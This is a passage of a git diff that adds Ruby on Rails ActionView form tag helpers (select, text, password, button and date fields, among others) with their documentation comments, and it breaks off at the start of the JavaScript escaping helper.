+      #   select_tag "locations", raw("<option>Home</option><option selected='selected'>Work</option><option>Out</option>")
+      #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+      #   #    <option>Out</option></select>
+      #
+      #   select_tag "access", raw("<option>Read</option><option>Write</option>"), multiple: true, class: 'form_input', id: 'unique_id'
+      #   # => <select class="form_input" id="unique_id" multiple="multiple" name="access[]"><option>Read</option>
+      #   #    <option>Write</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
+      #   # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: "All"
+      #   # => <select id="people" name="people"><option value="">All</option><option value="1">David</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
+      #   # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
+      #
+      #   select_tag "destination", raw("<option>NYC</option><option>Paris</option><option>Rome</option>"), disabled: true
+      #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+      #   #    <option>Paris</option><option>Rome</option></select>
+      #
+      #   select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+      #   # => <select id="credit_card" name="credit_card"><option>VISA</option>
+      #   #    <option selected="selected">MasterCard</option></select>
+      def select_tag(name, option_tags = nil, options = {})
+        option_tags ||= ""
+        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+
+        if options.include?(:include_blank)
+          include_blank = options.delete(:include_blank)
+          options_for_blank_options_tag = { value: "" }
+
+          if include_blank == true
+            include_blank = ""
+            options_for_blank_options_tag[:label] = " "
+          end
+
+          if include_blank
+            option_tags = content_tag("option".freeze, include_blank, options_for_blank_options_tag).safe_concat(option_tags)
+          end
+        end
+
+        if prompt = options.delete(:prompt)
+          option_tags = content_tag("option".freeze, prompt, value: "").safe_concat(option_tags)
+        end
+
+        content_tag "select".freeze, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+      end
+
+      # Creates a standard text field; use these text fields to input smaller chunks of text like a username
+      # or a search query.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_field_tag 'name'
+      #   # => <input id="name" name="name" type="text" />
+      #
+      #   text_field_tag 'query', 'Enter your search query here'
+      #   # => <input id="query" name="query" type="text" value="Enter your search query here" />
+      #
+      #   text_field_tag 'search', nil, placeholder: 'Enter search term...'
+      #   # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
+      #
+      #   text_field_tag 'request', nil, class: 'special_input'
+      #   # => <input class="special_input" id="request" name="request" type="text" />
+      #
+      #   text_field_tag 'address', '', size: 75
+      #   # => <input id="address" name="address" size="75" type="text" value="" />
+      #
+      #   text_field_tag 'zip', nil, maxlength: 5
+      #   # => <input id="zip" maxlength="5" name="zip" type="text" />
+      #
+      #   text_field_tag 'payment_amount', '$0.00', disabled: true
+      #   # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+      #
+      #   text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
+      #   # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+      def text_field_tag(name, value = nil, options = {})
+        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+      end
+
+      # Creates a label element. Accepts a block.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   label_tag 'name'
+      #   # => <label for="name">Name</label>
+      #
+      #   label_tag 'name', 'Your name'
+      #   # => <label for="name">Your name</label>
+      #
+      #   label_tag 'name', nil, class: 'small_label'
+      #   # => <label for="name" class="small_label">Name</label>
+      def label_tag(name = nil, content_or_options = nil, options = nil, &block)
+        if block_given? && content_or_options.is_a?(Hash)
+          options = content_or_options = content_or_options.stringify_keys
+        else
+          options ||= {}
+          options = options.stringify_keys
+        end
+        options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
+        content_tag :label, content_or_options || name.to_s.humanize, options, &block
+      end
+
+      # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
+      # data that should be hidden from the user.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   hidden_field_tag 'tags_list'
+      #   # => <input id="tags_list" name="tags_list" type="hidden" />
+      #
+      #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+      #
+      #   hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
+      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
+      #   #    type="hidden" value="" />
+      def hidden_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :hidden))
+      end
+
+      # Creates a file upload field. If you are using file uploads then you will also need
+      # to set the multipart option for the form tag:
+      #
+      #   <%= form_tag '/upload', multipart: true do %>
+      #     <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+      #     <%= submit_tag %>
+      #   <% end %>
+      #
+      # The specified URL will then be passed a File object containing the selected file, or if the field
+      # was left blank, a StringIO object.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   file_field_tag 'attachment'
+      #   # => <input id="attachment" name="attachment" type="file" />
+      #
+      #   file_field_tag 'avatar', class: 'profile_input'
+      #   # => <input class="profile_input" id="avatar" name="avatar" type="file" />
+      #
+      #   file_field_tag 'picture', disabled: true
+      #   # => <input disabled="disabled" id="picture" name="picture" type="file" />
+      #
+      #   file_field_tag 'resume', value: '~/resume.doc'
+      #   # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+      #
+      #   file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
+      #   # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+      #
+      #   file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
+      #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+      def file_field_tag(name, options = {})
+        text_field_tag(name, nil, options.merge(type: :file))
+      end
+
+      # Creates a password field, a masked text field that will hide the users input behind a mask character.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
+      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   password_field_tag 'pass'
+      #   # => <input id="pass" name="pass" type="password" />
+      #
+      #   password_field_tag 'secret', 'Your secret here'
+      #   # => <input id="secret" name="secret" type="password" value="Your secret here" />
+      #
+      #   password_field_tag 'masked', nil, class: 'masked_input_field'
+      #   # => <input class="masked_input_field" id="masked" name="masked" type="password" />
+      #
+      #   password_field_tag 'token', '', size: 15
+      #   # => <input id="token" name="token" size="15" type="password" value="" />
+      #
+      #   password_field_tag 'key', nil, maxlength: 16
+      #   # => <input id="key" maxlength="16" name="key" type="password" />
+      #
+      #   password_field_tag 'confirm_pass', nil, disabled: true
+      #   # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+      #
+      #   password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
+      #   # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+      def password_field_tag(name = "password", value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :password))
+      end
+
+      # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+      #
+      # ==== Options
+      # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
+      # * <tt>:rows</tt> - Specify the number of rows in the textarea
+      # * <tt>:cols</tt> - Specify the number of columns in the textarea
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
+      #   If you need unescaped contents, set this to false.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   text_area_tag 'post'
+      #   # => <textarea id="post" name="post"></textarea>
+      #
+      #   text_area_tag 'bio', @user.bio
+      #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
+      #
+      #   text_area_tag 'body', nil, rows: 10, cols: 25
+      #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+      #
+      #   text_area_tag 'body', nil, size: "25x10"
+      #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+      #
+      #   text_area_tag 'description', "Description goes here.", disabled: true
+      #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+      #
+      #   text_area_tag 'comment', nil, class: 'comment_input'
+      #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
+      def text_area_tag(name, content = nil, options = {})
+        options = options.stringify_keys
+
+        if size = options.delete("size")
+          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+        end
+
+        escape = options.delete("escape") { true }
+        content = ERB::Util.html_escape(content) if escape
+
+        content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
+      end
+
+      # Creates a check box form input tag.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   check_box_tag 'accept'
+      #   # => <input id="accept" name="accept" type="checkbox" value="1" />
+      #
+      #   check_box_tag 'rock', 'rock music'
+      #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
+      #
+      #   check_box_tag 'receive_email', 'yes', true
+      #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+      #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'eula', 'accepted', false, disabled: true
+      #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+      def check_box_tag(name, value = "1", checked = false, options = {})
+        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a radio button; use groups of radio buttons named the same to allow users to
+      # select from a group of options.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   radio_button_tag 'gender', 'male'
+      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
+      #
+      #   radio_button_tag 'receive_updates', 'no', true
+      #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+      #
+      #   radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
+      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+      #
+      #   radio_button_tag 'color', "green", true, class: "color_input"
+      #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+      def radio_button_tag(name, value, checked = false, options = {})
+        html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a submit button with the text <tt>value</tt> as the caption.
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
+      #   drivers will provide a prompt with the question specified. If the user accepts,
+      #   the form is processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
+      #   disabled version of the submit button when the form is submitted. This feature is
+      #   provided by the unobtrusive JavaScript driver. To disable this feature for a single submit tag
+      #   pass <tt>:data => { disable_with: false }</tt> Defaults to value attribute.
+      #
+      # ==== Examples
+      #   submit_tag
+      #   # => <input name="commit" data-disable-with="Save changes" type="submit" value="Save changes" />
+      #
+      #   submit_tag "Edit this article"
+      #   # => <input name="commit" data-disable-with="Edit this article" type="submit" value="Edit this article" />
+      #
+      #   submit_tag "Save edits", disabled: true
+      #   # => <input disabled="disabled" name="commit" data-disable-with="Save edits" type="submit" value="Save edits" />
+      #
+      #   submit_tag "Complete sale", data: { disable_with: "Submitting..." }
+      #   # => <input name="commit" data-disable-with="Submitting..." type="submit" value="Complete sale" />
+      #
+      #   submit_tag nil, class: "form_submit"
+      #   # => <input class="form_submit" name="commit" type="submit" />
+      #
+      #   submit_tag "Edit", class: "edit_button"
+      #   # => <input class="edit_button" data-disable-with="Edit" name="commit" type="submit" value="Edit" />
+      #
+      #   submit_tag "Save", data: { confirm: "Are you sure?" }
+      #   # => <input name='commit' type='submit' value='Save' data-disable-with="Save" data-confirm="Are you sure?" />
+      #
+      def submit_tag(value = "Save changes", options = {})
+        options = options.deep_stringify_keys
+        tag_options = { "type" => "submit", "name" => "commit", "value" => value }.update(options)
+        set_default_disable_with value, tag_options
+        tag :input, tag_options
+      end
+
+      # Creates a button element that defines a <tt>submit</tt> button,
+      # <tt>reset</tt> button or a generic button which can be used in
+      # JavaScript, for example. You can use the button tag as a regular
+      # submit tag but it isn't supported in legacy browsers. However,
+      # the button tag does allow for richer labels such as images and emphasis,
+      # so this helper will also accept a block. By default, it will create
+      # a button tag with type `submit`, if type is not given.
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If true, the user will not be able to
+      #   use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - If present, the
+      #   unobtrusive JavaScript drivers will provide a prompt with
+      #   the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      #   button_tag
+      #   # => <button name="button" type="submit">Button</button>
+      #
+      #   button_tag 'Reset', type: 'reset'
+      #   # => <button name="button" type="reset">Reset</button>
+      #
+      #   button_tag 'Button', type: 'button'
+      #   # => <button name="button" type="button">Button</button>
+      #
+      #   button_tag 'Reset', type: 'reset', disabled: true
+      #   # => <button name="button" type="reset" disabled="disabled">Reset</button>
+      #
+      #   button_tag(type: 'button') do
+      #     content_tag(:strong, 'Ask me!')
+      #   end
+      #   # => <button name="button" type="button">
+      #   #     <strong>Ask me!</strong>
+      #   #    </button>
+      #
+      #   button_tag "Save", data: { confirm: "Are you sure?" }
+      #   # => <button name="button" type="submit" data-confirm="Are you sure?">Save</button>
+      #
+      #   button_tag "Checkout", data: { disable_with: "Please wait..." }
+      #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
+      #
+      def button_tag(content_or_options = nil, options = nil, &block)
+        if content_or_options.is_a? Hash
+          options = content_or_options
+        else
+          options ||= {}
+        end
+
+        options = { "name" => "button", "type" => "submit" }.merge!(options.stringify_keys)
+
+        if block_given?
+          content_tag :button, options, &block
+        else
+          content_tag :button, content_or_options || "Button", options
+        end
+      end
+
+      # Displays an image which when clicked will submit the form.
+      #
+      # <tt>source</tt> is passed to AssetTagHelper#path_to_image
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      #
+      # ==== Examples
+      #   image_submit_tag("login.png")
+      #   # => <input alt="Login" src="/assets/login.png" type="image" />
+      #
+      #   image_submit_tag("purchase.png", disabled: true)
+      #   # => <input alt="Purchase" disabled="disabled" src="/assets/purchase.png" type="image" />
+      #
+      #   image_submit_tag("search.png", class: 'search_button', alt: 'Find')
+      #   # => <input alt="Find" class="search_button" src="/assets/search.png" type="image" />
+      #
+      #   image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
+      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
+      #
+      #   image_submit_tag("save.png", data: { confirm: "Are you sure?" })
+      #   # => <input alt="Save" src="/assets/save.png" data-confirm="Are you sure?" type="image" />
+      def image_submit_tag(source, options = {})
+        options = options.stringify_keys
+        tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
+      end
+
+      # Creates a field set for grouping HTML form elements.
+      #
+      # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
+      # <tt>options</tt> accept the same values as tag.
+      #
+      # ==== Examples
+      #   <%= field_set_tag do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <%= field_set_tag 'Your details' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <%= field_set_tag nil, class: 'format' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+      def field_set_tag(legend = nil, options = nil, &block)
+        output = tag(:fieldset, options, true)
+        output.safe_concat(content_tag("legend".freeze, legend)) unless legend.blank?
+        output.concat(capture(&block)) if block_given?
+        output.safe_concat("</fieldset>")
+      end
+
+      # Creates a text field of type "color".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   color_field_tag 'name'
+      #   # => <input id="name" name="name" type="color" />
+      #
+      #   color_field_tag 'color', '#DEF726'
+      #   # => <input id="color" name="color" type="color" value="#DEF726" />
+      #
+      #   color_field_tag 'color', nil, class: 'special_input'
+      #   # => <input class="special_input" id="color" name="color" type="color" />
+      #
+      #   color_field_tag 'color', '#DEF726', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="color" name="color" type="color" value="#DEF726" />
+      def color_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :color))
+      end
+
+      # Creates a text field of type "search".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   search_field_tag 'name'
+      #   # => <input id="name" name="name" type="search" />
+      #
+      #   search_field_tag 'search', 'Enter your search query here'
+      #   # => <input id="search" name="search" type="search" value="Enter your search query here" />
+      #
+      #   search_field_tag 'search', nil, class: 'special_input'
+      #   # => <input class="special_input" id="search" name="search" type="search" />
+      #
+      #   search_field_tag 'search', 'Enter your search query here', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="search" name="search" type="search" value="Enter your search query here" />
+      def search_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :search))
+      end
+
+      # Creates a text field of type "tel".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   telephone_field_tag 'name'
+      #   # => <input id="name" name="name" type="tel" />
+      #
+      #   telephone_field_tag 'tel', '0123456789'
+      #   # => <input id="tel" name="tel" type="tel" value="0123456789" />
+      #
+      #   telephone_field_tag 'tel', nil, class: 'special_input'
+      #   # => <input class="special_input" id="tel" name="tel" type="tel" />
+      #
+      #   telephone_field_tag 'tel', '0123456789', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="tel" name="tel" type="tel" value="0123456789" />
+      def telephone_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :tel))
+      end
+      alias phone_field_tag telephone_field_tag
+
+      # Creates a text field of type "date".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   date_field_tag 'name'
+      #   # => <input id="name" name="name" type="date" />
+      #
+      #   date_field_tag 'date', '01/01/2014'
+      #   # => <input id="date" name="date" type="date" value="01/01/2014" />
+      #
+      #   date_field_tag 'date', nil, class: 'special_input'
+      #   # => <input class="special_input" id="date" name="date" type="date" />
+      #
+      #   date_field_tag 'date', '01/01/2014', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="01/01/2014" />
+      def date_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :date))
+      end
+
+      # Creates a text field of type "time".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def time_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :time))
+      end
+
+      # Creates a text field of type "datetime-local".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def datetime_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: "datetime-local"))
+      end
+
+      alias datetime_local_field_tag datetime_field_tag
+
+      # Creates a text field of type "month".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def month_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :month))
+      end
+
+      # Creates a text field of type "week".
+      #
+      # === Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      def week_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :week))
+      end
+
+      # Creates a text field of type "url".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   url_field_tag 'name'
+      #   # => <input id="name" name="name" type="url" />
+      #
+      #   url_field_tag 'url', 'http://rubyonrails.org'
+      #   # => <input id="url" name="url" type="url" value="http://rubyonrails.org" />
+      #
+      #   url_field_tag 'url', nil, class: 'special_input'
+      #   # => <input class="special_input" id="url" name="url" type="url" />
+      #
+      #   url_field_tag 'url', 'http://rubyonrails.org', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="url" name="url" type="url" value="http://rubyonrails.org" />
+      def url_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :url))
+      end
+
+      # Creates a text field of type "email".
+      #
+      # ==== Options
+      # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   email_field_tag 'name'
+      #   # => <input id="name" name="name" type="email" />
+      #
+      #   email_field_tag 'email', 'email@example.com'
+      #   # => <input id="email" name="email" type="email" value="email@example.com" />
+      #
+      #   email_field_tag 'email', nil, class: 'special_input'
+      #   # => <input class="special_input" id="email" name="email" type="email" />
+      #
+      #   email_field_tag 'email', 'email@example.com', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="email" name="email" type="email" value="email@example.com" />
+      def email_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :email))
+      end
+
+      # Creates a number field.
+      #
+      # ==== Options
+      # * <tt>:min</tt> - The minimum acceptable value.
+      # * <tt>:max</tt> - The maximum acceptable value.
+      # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
+      #   <tt>:max</tt> values.
+      # * <tt>:within</tt> - Same as <tt>:in</tt>.
+      # * <tt>:step</tt> - The acceptable value granularity.
+      # * Otherwise accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   number_field_tag 'quantity'
+      #   # => <input id="quantity" name="quantity" type="number" />
+      #
+      #   number_field_tag 'quantity', '1'
+      #   # => <input id="quantity" name="quantity" type="number" value="1" />
+      #
+      #   number_field_tag 'quantity', nil, class: 'special_input'
+      #   # => <input class="special_input" id="quantity" name="quantity" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1
+      #   # => <input id="quantity" name="quantity" min="1" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, max: 9
+      #   # => <input id="quantity" name="quantity" max="9" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, in: 1...10
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, within: 1...10
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1, max: 10
+      #   # => <input id="quantity" name="quantity" min="1" max="10" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1, max: 10, step: 2
+      #   # => <input id="quantity" name="quantity" min="1" max="10" step="2" type="number" />
+      #
+      #   number_field_tag 'quantity', '1', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="quantity" name="quantity" type="number" value="1" />
+      def number_field_tag(name, value = nil, options = {})
+        options = options.stringify_keys
+        options["type"] ||= "number"
+        if range = options.delete("in") || options.delete("within")
+          options.update("min" => range.min, "max" => range.max)
+        end
+        text_field_tag(name, value, options)
+      end
+
+      # Creates a range form element.
+      #
+      # ==== Options
+      # * Accepts the same options as number_field_tag.
+      def range_field_tag(name, value = nil, options = {})
+        number_field_tag(name, value, options.merge(type: :range))
+      end
+
+      # Creates the hidden UTF8 enforcer tag. Override this method in a helper
+      # to customize the tag.
+      def utf8_enforcer_tag
+        # Use raw HTML to ensure the value is written as an HTML entity; it
+        # needs to be the right character regardless of which encoding the
+        # browser infers.
+        '<input name="utf8" type="hidden" value="&#x2713;" />'.html_safe
+      end
+
+      private
+        def html_options_for_form(url_for_options, options)
+          options.stringify_keys.tap do |html_options|
+            html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+            # The following URL is unescaped, this is just a hash of options, and it is the
+            # responsibility of the caller to escape all the values.
+            html_options["action"]  = url_for(url_for_options)
+            html_options["accept-charset"] = "UTF-8"
+
+            html_options["data-remote"] = true if html_options.delete("remote")
+
+            if html_options["data-remote"] &&
+               !embed_authenticity_token_in_remote_forms &&
+               html_options["authenticity_token"].blank?
+              # The authenticity token is taken from the meta tag in this case
+              html_options["authenticity_token"] = false
+            elsif html_options["authenticity_token"] == true
+              # Include the default authenticity_token, which is only generated when its set to nil,
+              # but we needed the true value to override the default of no authenticity_token on data-remote.
+              html_options["authenticity_token"] = nil
+            end
+          end
+        end
+
+        def extra_tags_for_form(html_options)
+          authenticity_token = html_options.delete("authenticity_token")
+          method = html_options.delete("method").to_s.downcase
+
+          method_tag = \
+            case method
+            when "get"
+              html_options["method"] = "get"
+              ""
+            when "post", ""
+              html_options["method"] = "post"
+              token_tag(authenticity_token, form_options: {
+                action: html_options["action"],
+                method: "post"
+              })
+            else
+              html_options["method"] = "post"
+              method_tag(method) + token_tag(authenticity_token, form_options: {
+                action: html_options["action"],
+                method: method
+              })
+            end
+
+          if html_options.delete("enforce_utf8") { true }
+            utf8_enforcer_tag + method_tag
+          else
+            method_tag
+          end
+        end
+
+        def form_tag_html(html_options)
+          extra_tags = extra_tags_for_form(html_options)
+          tag(:form, html_options, true) + extra_tags
+        end
+
+        def form_tag_with_body(html_options, content)
+          output = form_tag_html(html_options)
+          output << content
+          output.safe_concat("</form>")
+        end
+
+        # see http://www.w3.org/TR/html4/types.html#type-name
+        def sanitize_to_id(name)
+          name.to_s.delete("]").tr("^-a-zA-Z0-9:.", "_")
+        end
+
+        def set_default_disable_with(value, tag_options)
+          return unless ActionView::Base.automatically_disable_submit_tag
+          data = tag_options["data"]
+
+          unless tag_options["data-disable-with"] == false || (data && data["disable_with"] == false)
+            disable_with_text = tag_options["data-disable-with"]
+            disable_with_text ||= data["disable_with"] if data
+            disable_with_text ||= value.to_s.clone
+            tag_options.deep_merge!("data" => { "disable_with" => disable_with_text })
+          else
+            data.delete("disable_with") if data
+          end
+
+          tag_options.delete("data-disable-with")
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb
new file mode 100644
index 0000000000..cce7c1dcfd
--- /dev/null
+++ b/actionview/lib/action_view/helpers/javascript_helper.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require_relative "tag_helper"
+
+module ActionView
+  module Helpers
+    module JavaScriptHelper
+      JS_ESCAPE_MAP = {
+        '\\'    => '\\\\',
+        "</"    => '<\/',
+        "\r\n"  => '\n',
+        "\n"    => '\n',
+        "\r"    => '\n',
+        '"'     => '\\"',
+        "'"     => "\\'"
+      }
+
